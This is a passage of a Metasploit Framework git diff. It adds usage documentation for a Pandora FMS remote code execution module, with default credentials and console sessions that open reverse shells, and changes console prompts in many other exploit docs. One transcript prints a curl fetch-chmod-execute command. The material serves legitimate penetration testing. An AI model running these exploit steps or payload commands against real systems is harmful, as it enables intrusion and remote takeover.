iso](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/). +* Install the iso image in your virtualization engine. +* When installed, configure the VM appliance to your needs using the menu options. +* Boot up the VM and should be able to access the Pandora FMS appliance either thru the console, `ssh` on port `22` +* or via the `webui` via `http://your_ip/pandora_console/index.php`. + +* Note: from version `v7.0NG.760` follow the installation manual below: +* [Non ISO installation](https://pandorafms.com/manual/!current/en/documentation/pandorafms/installation/01_installing). + +You are now ready to test the module. + +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `use exploit/linux/http/linux/http/pandora_fms_auth_rce_cve_2024_12971` +- [ ] `set rhosts ` +- [ ] `set rport ` +- [ ] `set lhost ` +- [ ] `set target <0=PHP Command, 1=Unix/Linux Command, 2=Tiny Reverse Netcat Command>` +- [ ] `exploit` +- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings + +## Options + +### USERNAME +This option is optional and is the username (default: admin) to authenticate with the Pandora FMS application. + +### PASSWORD +This option is optional and is the password (default: pandora) in plain text to authenticate with the Pandora FMS application. + +### DB_USER +This option is required and is the username (default: pandora) to authenticate with the Pandora FMS MySQL database. + +### DB_PASSWORD +This option is required and is the password (default: Pandor4!) in plain text to authenticate with the Pandora FMS MySQL database. +Note: In older versions, this password is set to `pandora` during installation of the application. + +### DB_PORT +This option is required and is the MySQL database port (default: 3306) to connect to the database. + +## Scenarios +### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - PHP Command target +Attack scenario: use the default admin credentials (admin:pandora) of the Pandora FMS application +to gain the privileges for the RCE. +```msf +msf > use exploits/linux/http/pandora_fms_auth_rce_cve_2024_12971 +[*] Using configured payload php/meterpreter/reverse_tcp +msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set rhosts 192.168.201.6 +rhosts => 192.168.201.6 +msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set lhost 192.168.201.8 +lhost => 192.168.201.8 +msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > rexploit +[*] Reloading module... +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Found chromium_path RCE. Pandora FMS version v7.0NG.777 +[*] Trying to log in with admin credentials admin:pandora at the Pandora FMS Web application. +[*] Succesfully authenticated at the Pandora FMS Web application. +[*] Saving admin credentials at the msf database. +[*] Executing PHP Command for php/meterpreter/reverse_tcp +[*] Sending stage (40004 bytes) to 192.168.201.6 +[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.6:51714) at 2025-04-05 11:30:11 +0000 +[+] Payload is successful removed from chromium_path path configuration. + +meterpreter > getuid +Server username: www-data +meterpreter > sysinfo +Computer : cuckoo +OS : Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 +Meterpreter : php/linux +meterpreter > pwd +/var/www/html/pandora_console +meterpreter > +``` +### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - Unix/Linux Command target +Attack scenario: use the default database credentials (pandora:Pandor4!) to create an admin user in the application +to gain the privileges for the RCE. +```msf +msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set target 1 +target => 1 +msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set password xxx +password => xxx +msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > rexploit +[*] Reloading module... +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Found chromium_path RCE. Pandora FMS version v7.0NG.777 +[*] Trying to log in with admin credentials admin:xxx at the Pandora FMS Web application. +[*] Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server. +[*] Creating new admin user with credentials 39mqge:nmC9AuEJ5M for access at the Pandora FMS Web application. +[*] Trying to log in with new admin credentials 39mqge:nmC9AuEJ5M at the Pandora FMS Web application. +[*] Succesfully authenticated at the Pandora FMS Web application. +[*] Saving admin credentials at the msf database. +[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp +[*] Sending stage (3045380 bytes) to 192.168.201.6 +[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.6:48916) at 2025-04-05 11:33:09 +0000 +[+] Payload is successful removed from chromium_path path configuration. + +meterpreter > getuid +Server username: www-data +meterpreter > sysinfo +Computer : 192.168.201.6 +OS : Ubuntu 22.04 (Linux 5.15.0-126-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > pwd +/var/www/html/pandora_console +meterpreter > +``` +### Pandora FMS v7.0NG.738 on CentOS 7 - Tiny Netcat Command +Attack scenario: use the payload less then 100 bytes to achieve the RCE. +```msf +msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set password pandora +password => pandora +msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > set target 2 +target => 2 +msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_12971) > rexploit +[*] Reloading module... +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Found phantomjs_bin RCE. Pandora FMS version v7.0NG.738 +[*] Trying to log in with admin credentials admin:pandora at the Pandora FMS Web application. +[*] Succesfully authenticated at the Pandora FMS Web application. +[*] Saving admin credentials at the msf database. +[*] Executing Tiny Reverse Netcat Command (use THIS for versions <= v738) for cmd/unix/reverse_netcat_gaping +[*] Command shell session 3 opened (192.168.201.8:4444 -> 192.168.201.6:52784) at 2025-04-05 11:38:47 +0000 +[+] Payload is successful removed from phantomjs_bin path configuration. + +id +uid=48(apache) gid=48(apache) groups=48(apache) +uname -a +Linux localhost.localdomain 3.10.0-957.5.1.el7.x86_64 #1 SMP Fri Feb 1 14:54:57 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux +pwd +/var/www/html/pandora_console +``` + +## Limitations +In older versions of Pandora FMS, you might run into error 'Unable to login from this host due to policy' if you try to connect +to the MySQL database with the default database credentials. +This is caused by the restrictive host settings at the MySQL database which is default set to `localhost` and `127.0.0.1`. +You can check this with the SQL command below if you have local access to the database. +``` +SELECT host FROM mysql.user WHERE user = "pandora"; ++-----------+ +| host | ++-----------+ +| 127.0.0.1 | +| localhost | ++-----------+ +``` +In newer versions of Pandora FMS, this has been changed to '%' which allow any host to connect to the database. +Another restriction is the payload size for versions <= v7.0NG.738 where the payload size is restricted to a maximum +of 100 bytes. Please use the `Tiny Netcat Command` option get a reverse shell. diff --git a/documentation/modules/exploit/linux/http/pandora_fms_events_exec.md b/documentation/modules/exploit/linux/http/pandora_fms_events_exec.md index b46447ac4a6be..1880695925add 100644 --- a/documentation/modules/exploit/linux/http/pandora_fms_events_exec.md +++ b/documentation/modules/exploit/linux/http/pandora_fms_events_exec.md @@ -49,7 +49,7 @@ The username for the Pandora FMS account to authenticate with. This option is re ## Scenarios ### Pandora FMS 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version). Target: Linux (x64) ``` -msf5 exploit(linux/http/pandora_fms_events_exec) > show options +msf exploit(linux/http/pandora_fms_events_exec) > show options Module options (exploit/linux/http/pandora_fms_events_exec): @@ -84,7 +84,7 @@ Exploit target: 1 Linux (x64) -msf5 exploit(linux/http/pandora_fms_events_exec) > exploit +msf exploit(linux/http/pandora_fms_events_exec) > exploit [*] Started reverse TCP handler on 192.168.1.12:4444 [+] Authenticated as user admin. @@ -101,7 +101,7 @@ meterpreter > ``` ### Pandora FMS 7.0 NG 744 running on CentOS 7 (the official virtual appliance ISO for this version). Target: Linux (cmd) ``` -msf5 exploit(linux/http/pandora_fms_events_exec) > exploit +msf exploit(linux/http/pandora_fms_events_exec) > exploit [*] Started reverse TCP handler on 192.168.1.12:4444 [+] Authenticated as user admin. diff --git a/documentation/modules/exploit/linux/http/pandora_ping_cmd_exec.md b/documentation/modules/exploit/linux/http/pandora_ping_cmd_exec.md index fa926e8443a9b..4d0e564ce6fb6 100644 --- a/documentation/modules/exploit/linux/http/pandora_ping_cmd_exec.md +++ b/documentation/modules/exploit/linux/http/pandora_ping_cmd_exec.md @@ -44,18 +44,18 @@ https://pandorafms.com/docs/index.php?title=Pandora:Documentation_en:Installing Tested Pandora FMS 7.0 NG on CentOS 7.3.1611 ``` -msf5 > use exploit/linux/http/pandora_ping_cmd_exec -msf5 exploit(linux/http/pandora_ping_cmd_exec) > set RHOSTS 192.168.215.128 +msf > use exploit/linux/http/pandora_ping_cmd_exec +msf exploit(linux/http/pandora_ping_cmd_exec) > set RHOSTS 192.168.215.128 RHOSTS => 192.168.215.128 -msf5 exploit(linux/http/pandora_ping_cmd_exec) > set RHOSTS 192.168.1.12 +msf exploit(linux/http/pandora_ping_cmd_exec) > set RHOSTS 192.168.1.12 RHOSTS => 192.168.1.12 -msf5 exploit(linux/http/pandora_ping_cmd_exec) > set LHOST 192.168.1.5 +msf exploit(linux/http/pandora_ping_cmd_exec) > set LHOST 192.168.1.5 LHOST => 192.168.1.5 -msf5 exploit(linux/http/pandora_ping_cmd_exec) > set USERNAME admin +msf exploit(linux/http/pandora_ping_cmd_exec) > set USERNAME admin USERNAME => admin -msf5 exploit(linux/http/pandora_ping_cmd_exec) > set PASSWORD pandora +msf exploit(linux/http/pandora_ping_cmd_exec) > set PASSWORD pandora PASSWORD => pandora -msf5 exploit(linux/http/pandora_ping_cmd_exec) > exploit +msf exploit(linux/http/pandora_ping_cmd_exec) > exploit [*] Started reverse TCP handler on 192.168.1.5:4444 [*] Exploiting... diff --git a/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md index 29a2bb0bdbc6c..dc2666a20adc6 100644 --- a/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md +++ b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md @@ -43,7 +43,7 @@ payload as a series of chunks to this location, before executing the payload. Th ### Default ``` -msf6 exploit(linux/http/panos_management_unauth_rce) > show options +msf exploit(linux/http/panos_management_unauth_rce) > show options Module options (exploit/linux/http/panos_management_unauth_rce): @@ -82,9 +82,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/panos_management_unauth_rce) > check +msf exploit(linux/http/panos_management_unauth_rce) > check [+] 192.168.86.100:443 - The target is vulnerable. -msf6 exploit(linux/http/panos_management_unauth_rce) > exploit +msf exploit(linux/http/panos_management_unauth_rce) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/panos_op_cmd_exec.md b/documentation/modules/exploit/linux/http/panos_op_cmd_exec.md index 37cd563d833aa..03cd228d636e2 100644 --- a/documentation/modules/exploit/linux/http/panos_op_cmd_exec.md +++ b/documentation/modules/exploit/linux/http/panos_op_cmd_exec.md @@ -21,15 +21,15 @@ administrator password. ## Scenarios ### PAN-OS 10.0.0 ``` -msf6 > use linux/http/panos_auth_rce +msf > use linux/http/panos_auth_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/panos_auth_rce) > set rhosts 192.168.2.196 +msf exploit(linux/http/panos_auth_rce) > set rhosts 192.168.2.196 rhosts => 192.168.2.196 -msf6 exploit(linux/http/panos_auth_rce) > set USERNAME admin +msf exploit(linux/http/panos_auth_rce) > set USERNAME admin USERNAME => admin -msf6 exploit(linux/http/panos_auth_rce) > set PASSWORD N0tpassword! +msf exploit(linux/http/panos_auth_rce) > set PASSWORD N0tpassword! PASSWORD => N0tpassword! -msf6 exploit(linux/http/panos_auth_rce) > run +msf exploit(linux/http/panos_auth_rce) > run [*] Started reverse TCP handler on 192.168.2.114:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/panos_readsessionvars.md b/documentation/modules/exploit/linux/http/panos_readsessionvars.md index a44a50cc1e9f7..21b657746c08a 100644 --- a/documentation/modules/exploit/linux/http/panos_readsessionvars.md +++ b/documentation/modules/exploit/linux/http/panos_readsessionvars.md @@ -32,7 +32,7 @@ This VM is not generally available, but the specific disk image used was `PA-VM- ## Scenarios ``` -msf5 exploit(linux/http/panos_readsessionvars) > exploit +msf exploit(linux/http/panos_readsessionvars) > exploit [*] Started reverse TCP handler on 192.168.122.1:4444 [*] Creating our corrupted session ID... diff --git a/documentation/modules/exploit/linux/http/panos_telemetry_cmd_exec.md b/documentation/modules/exploit/linux/http/panos_telemetry_cmd_exec.md index 3262cf3499e26..bebaf1b0622ab 100644 --- a/documentation/modules/exploit/linux/http/panos_telemetry_cmd_exec.md +++ b/documentation/modules/exploit/linux/http/panos_telemetry_cmd_exec.md @@ -41,9 +41,9 @@ Note: Since it can take up to one hour to establish code execution, the listener Note: In the standard PAN-OS configuration, the payload is delivered to the GlobalProtect interface IP, but the shell will return via a different PAN-OS management interface IP. ``` -msf6 > use exploit/linux/http/panos_telemetry_cmd_exec +msf > use exploit/linux/http/panos_telemetry_cmd_exec [*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp -msf6 exploit(linux/http/panos_telemetry_cmd_exec) > show options +msf exploit(linux/http/panos_telemetry_cmd_exec) > show options Module options (exploit/linux/http/panos_telemetry_cmd_exec): @@ -82,15 +82,15 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/panos_telemetry_cmd_exec) > set RHOSTS 192.168.50.226 +msf exploit(linux/http/panos_telemetry_cmd_exec) > set RHOSTS 192.168.50.226 RHOSTS => 192.168.50.226 -msf6 exploit(linux/http/panos_telemetry_cmd_exec) > set LHOST 192.168.50.25 +msf exploit(linux/http/panos_telemetry_cmd_exec) > set LHOST 192.168.50.25 LHOST => 192.168.50.25 -msf6 exploit(linux/http/panos_telemetry_cmd_exec) > set LPORT 8585 +msf exploit(linux/http/panos_telemetry_cmd_exec) > set LPORT 8585 LPORT => 8585 -msf6 exploit(linux/http/panos_telemetry_cmd_exec) > check +msf exploit(linux/http/panos_telemetry_cmd_exec) > check [+] 192.168.50.226:443 - The target is vulnerable. Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/glyphicons-ipteqmbl-regular.woff2 NOTE: This file will not be deleted -msf6 exploit(linux/http/panos_telemetry_cmd_exec) > exploit +msf exploit(linux/http/panos_telemetry_cmd_exec) > exploit [*] Started reverse TCP handler on 192.168.50.25:8585 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/php_imap_open_rce.md b/documentation/modules/exploit/linux/http/php_imap_open_rce.md index 972090ab16bf8..2115155f74ab8 100644 --- a/documentation/modules/exploit/linux/http/php_imap_open_rce.md +++ b/documentation/modules/exploit/linux/http/php_imap_open_rce.md @@ -430,14 +430,14 @@ Make sure `php-imap` is installed and enabled. Create `imap.php` with the follo Using the `imap.php` page listed above. ``` - msf5 > use exploit/linux/http/php_imap_open_rce - msf5 exploit(linux/http/php_imap_open_rce) > set target 3 + msf > use exploit/linux/http/php_imap_open_rce + msf exploit(linux/http/php_imap_open_rce) > set target 3 target => 3 - msf5 exploit(linux/http/php_imap_open_rce) > set lhost 1.1.1.1 + msf exploit(linux/http/php_imap_open_rce) > set lhost 1.1.1.1 lhost => 1.1.1.1 - msf5 exploit(linux/http/php_imap_open_rce) > set rhost 2.2.2.2 + msf exploit(linux/http/php_imap_open_rce) > set rhost 2.2.2.2 rhost => 2.2.2.2 - msf5 exploit(linux/http/php_imap_open_rce) > exploit + msf exploit(linux/http/php_imap_open_rce) > exploit [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Listener started for 300 seconds diff --git a/documentation/modules/exploit/linux/http/progress_flowmon_unauth_cmd_injection.md b/documentation/modules/exploit/linux/http/progress_flowmon_unauth_cmd_injection.md index caef889cd5ebf..43dc30e01b91f 100644 --- a/documentation/modules/exploit/linux/http/progress_flowmon_unauth_cmd_injection.md +++ b/documentation/modules/exploit/linux/http/progress_flowmon_unauth_cmd_injection.md @@ -28,7 +28,7 @@ This application is available in cloud marketplaces: ### Progress Flowmon 12.2 ``` -msf6 exploit(linux/http/progress_flowmon_unauth_cmd_injection) > show options +msf exploit(linux/http/progress_flowmon_unauth_cmd_injection) > show options Module options (exploit/linux/http/progress_flowmon_unauth_cmd_injection): @@ -70,7 +70,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/flowmon_unauth_cmd_injection) > run +msf exploit(linux/http/flowmon_unauth_cmd_injection) > run [*] Started reverse TCP handler on 138.111.211.11:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.md b/documentation/modules/exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.md index e0c44e45f97a1..9c155e07f4aec 100644 --- a/documentation/modules/exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.md +++ b/documentation/modules/exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.md @@ -29,7 +29,7 @@ https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw ### LoadMaster 7.2.59.0.22007 ``` msf -msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > show options +msf exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > show options Module options (exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection): @@ -70,7 +70,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > run +msf exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > run [*] Command to run on remote host: curl -so /tmp/LlipoMVy http://10.5.135.201:8080/RByzlSnTzclKDpvXskXIrg; chmod +x /tmp/LlipoMVy; /tmp/LlipoMVy & [*] Fetch handler listening on 10.5.135.201:8080 diff --git a/documentation/modules/exploit/linux/http/projectsend_unauth_rce.md b/documentation/modules/exploit/linux/http/projectsend_unauth_rce.md index 9511e2ee287a8..399de8a1c9af8 100644 --- a/documentation/modules/exploit/linux/http/projectsend_unauth_rce.md +++ b/documentation/modules/exploit/linux/http/projectsend_unauth_rce.md @@ -55,7 +55,7 @@ which can be completed by accessing it via port 80 on localhost. 9. You should get a shell ``` -msf6 exploit(linux/http/projectsend_unauth_rce) > options +msf exploit(linux/http/projectsend_unauth_rce) > options Module options (exploit/linux/http/projectsend_unauth_rce): @@ -89,7 +89,7 @@ N/A - Only default options. ## Scenarios ``` -msf6 exploit(linux/http/projectsend_unauth_rce) > run +msf exploit(linux/http/projectsend_unauth_rce) > run [*] Started reverse TCP handler on 192.168.1.20:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/pulse_secure_cmd_exec.md b/documentation/modules/exploit/linux/http/pulse_secure_cmd_exec.md index a8a7d668f04bb..9cede0e79f042 100644 --- a/documentation/modules/exploit/linux/http/pulse_secure_cmd_exec.md +++ b/documentation/modules/exploit/linux/http/pulse_secure_cmd_exec.md @@ -29,9 +29,9 @@ the `auxiliary/gather/pulse_secure_file_disclosure` module. ## Usage ``` -msf5 exploit(linux/http/pulse_secure_cmd_exec) > set sid 676f5f892e8c4a6419f10564f9e9d857 +msf exploit(linux/http/pulse_secure_cmd_exec) > set sid 676f5f892e8c4a6419f10564f9e9d857 sid => 676f5f892e8c4a6419f10564f9e9d857 -msf5 exploit(linux/http/pulse_secure_cmd_exec) > run +msf exploit(linux/http/pulse_secure_cmd_exec) > run [*] Started reverse TCP handler on 127.0.0.1:[redacted] [+] Setting session cookie: DSID=676f5f892e8c4a6419f10564f9e9d857 diff --git a/documentation/modules/exploit/linux/http/pulse_secure_gzip_rce.md b/documentation/modules/exploit/linux/http/pulse_secure_gzip_rce.md index 701b12a9536d9..2abb9abdc8f97 100644 --- a/documentation/modules/exploit/linux/http/pulse_secure_gzip_rce.md +++ b/documentation/modules/exploit/linux/http/pulse_secure_gzip_rce.md @@ -34,17 +34,17 @@ If this option is set, a single command will be run instead of the payload. Defa ### Pulse Connect Secure 9.1R8 build 7453, Meterpreter Payload ``` -msf6 > use exploit/linux/http/pulse_secure_gzip_rce +msf > use exploit/linux/http/pulse_secure_gzip_rce [*] Using configured payload linux/x64/meterpreter_reverse_tcp -msf6 exploit(linux/http/pulse_secure_gzip_rce) > set RHOSTS 192.168.159.100 +msf exploit(linux/http/pulse_secure_gzip_rce) > set RHOSTS 192.168.159.100 RHOSTS => 192.168.159.100 -msf6 exploit(linux/http/pulse_secure_gzip_rce) > set USERNAME admin +msf exploit(linux/http/pulse_secure_gzip_rce) > set USERNAME admin USERNAME => admin -msf6 exploit(linux/http/pulse_secure_gzip_rce) > set PASSWORD Password1! +msf exploit(linux/http/pulse_secure_gzip_rce) > set PASSWORD Password1! PASSWORD => Password1! -msf6 exploit(linux/http/pulse_secure_gzip_rce) > set LHOST 192.168.159.128 +msf exploit(linux/http/pulse_secure_gzip_rce) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(linux/http/pulse_secure_gzip_rce) > exploit +msf exploit(linux/http/pulse_secure_gzip_rce) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Version 9.1, revision 8, build 7453 found diff --git a/documentation/modules/exploit/linux/http/pyload_js2py_cve_2024_39205.md b/documentation/modules/exploit/linux/http/pyload_js2py_cve_2024_39205.md index 14df3d2282755..797485913a000 100644 --- a/documentation/modules/exploit/linux/http/pyload_js2py_cve_2024_39205.md +++ b/documentation/modules/exploit/linux/http/pyload_js2py_cve_2024_39205.md @@ -36,13 +36,13 @@ docker run -d \ ## Scenarios ### ARCH_CMD PyLoad 0.5.0b3.dev85 (with js2py 0.74) ``` -msf6 > use linux/http/pyload_js2py_cve_2024_39205 +msf > use linux/http/pyload_js2py_cve_2024_39205 [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1 +msf exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1 rhost => 127.0.0.1 -msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1 +msf exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > options +msf exploit(linux/http/pyload_js2py_cve_2024_39205) > options Module options (exploit/linux/http/pyload_js2py_cve_2024_39205): @@ -91,7 +91,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run +msf exploit(linux/http/pyload_js2py_cve_2024_39205) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -115,17 +115,17 @@ meterpreter > ### ARCH_X64 PyLoad 0.5.0b3.dev85 (with js2py 0.74) ``` -msf6 > use linux/http/pyload_js2py_cve_2024_39205 +msf > use linux/http/pyload_js2py_cve_2024_39205 [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1 +msf exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1 rhost => 127.0.0.1 -msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1 +msf exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set target 1 +msf exploit(linux/http/pyload_js2py_cve_2024_39205) > set target 1 target => 1 -msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set payload linux/x64/meterpreter/reverse_tcp +msf exploit(linux/http/pyload_js2py_cve_2024_39205) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run +msf exploit(linux/http/pyload_js2py_cve_2024_39205) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/pyload_js2py_exec.md b/documentation/modules/exploit/linux/http/pyload_js2py_exec.md index b2dd1619abd0e..d72d3933c654e 100644 --- a/documentation/modules/exploit/linux/http/pyload_js2py_exec.md +++ b/documentation/modules/exploit/linux/http/pyload_js2py_exec.md @@ -35,15 +35,15 @@ docker run -d \ ### pyLoad 0.5.0b3.dev30 via Docker ``` -msf6 > use exploit/linux/http/pyload_js2py_exec +msf > use exploit/linux/http/pyload_js2py_exec [*] Using configured payload cmd/unix/generic -msf6 exploit(linux/http/pyload_js2py_exec) > set RHOSTS 192.168.159.128 +msf exploit(linux/http/pyload_js2py_exec) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 -msf6 exploit(linux/http/pyload_js2py_exec) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp +msf exploit(linux/http/pyload_js2py_exec) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/pyload_js2py_exec) > set LHOST 192.168.250.134 +msf exploit(linux/http/pyload_js2py_exec) > set LHOST 192.168.250.134 LHOST => 192.168.250.134 -msf6 exploit(linux/http/pyload_js2py_exec) > exploit +msf exploit(linux/http/pyload_js2py_exec) > exploit [*] Started reverse TCP handler on 192.168.250.134:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md b/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md index 792f3c56852d2..7fa2b780b7e49 100644 --- a/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md +++ b/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md @@ -48,16 +48,16 @@ ## Scenarios ``` - msf5 > use exploit/linux/http/qnap_qcenter_change_passwd_exec - msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > set rhosts 10.1.1.112 + msf > use exploit/linux/http/qnap_qcenter_change_passwd_exec + msf exploit(linux/http/qnap_qcenter_change_passwd_exec) > set rhosts 10.1.1.112 rhosts => 10.1.1.112 - msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > set verbose true + msf exploit(linux/http/qnap_qcenter_change_passwd_exec) > set verbose true verbose => true - msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > check + msf exploit(linux/http/qnap_qcenter_change_passwd_exec) > check [*] Target is QNAP Q'Center appliance version 1.6.1075 [*] 10.1.1.112:443 The target appears to be vulnerable. - msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > run + msf exploit(linux/http/qnap_qcenter_change_passwd_exec) > run [*] Started reverse TCP handler on 10.1.1.197:4444 [*] Target is QNAP Q'Center appliance version 1.6.1075 diff --git a/documentation/modules/exploit/linux/http/qnap_qts_rce_cve_2023_47218.md b/documentation/modules/exploit/linux/http/qnap_qts_rce_cve_2023_47218.md index c33b23b66406a..782f8d2dafca5 100644 --- a/documentation/modules/exploit/linux/http/qnap_qts_rce_cve_2023_47218.md +++ b/documentation/modules/exploit/linux/http/qnap_qts_rce_cve_2023_47218.md @@ -125,17 +125,17 @@ sh-3.2# mkdir /mnt/HDA_ROOT ## Scenarios ### TS-X64_20230926-5.1.2.2533 firmware emulated via qemu using the steps above. ``` -msf6 > use linux/http/qnap_qts_rce_cve_2023_47218 +msf > use linux/http/qnap_qts_rce_cve_2023_47218 [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set rport 8080 +msf exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set rport 8080 rport => 8080 -msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set rhost 172.16.199.130 +msf exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set rhost 172.16.199.130 rhost => 172.16.199.130 -msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set lhost 172.16.199.158 +msf exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set lhost 172.16.199.158 lhost => 172.16.199.158 -msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set fetch_srvport 8085 +msf exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set fetch_srvport 8085 fetch_srvport => 8085 -msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > options +msf exploit(linux/http/qnap_qts_rce_cve_2023_47218) > options Module options (exploit/linux/http/qnap_qts_rce_cve_2023_47218): @@ -177,7 +177,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > run +msf exploit(linux/http/qnap_qts_rce_cve_2023_47218) > run [*] Started reverse TCP handler on 172.16.199.158:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/raspberrymatic_unauth_rce_cve_2024_24578.md b/documentation/modules/exploit/linux/http/raspberrymatic_unauth_rce_cve_2024_24578.md index 07d9042366bd9..fc540cc133218 100644 --- a/documentation/modules/exploit/linux/http/raspberrymatic_unauth_rce_cve_2024_24578.md +++ b/documentation/modules/exploit/linux/http/raspberrymatic_unauth_rce_cve_2024_24578.md @@ -45,13 +45,13 @@ No specific options defined. ## Scenarios ### RaspberryMatic OVA appliance - Unix/Linux Command x64 target ```msf -msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set rhosts 192.168.201.6 +msf exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set rhosts 192.168.201.6 rhosts => 192.168.201.6 -msf6 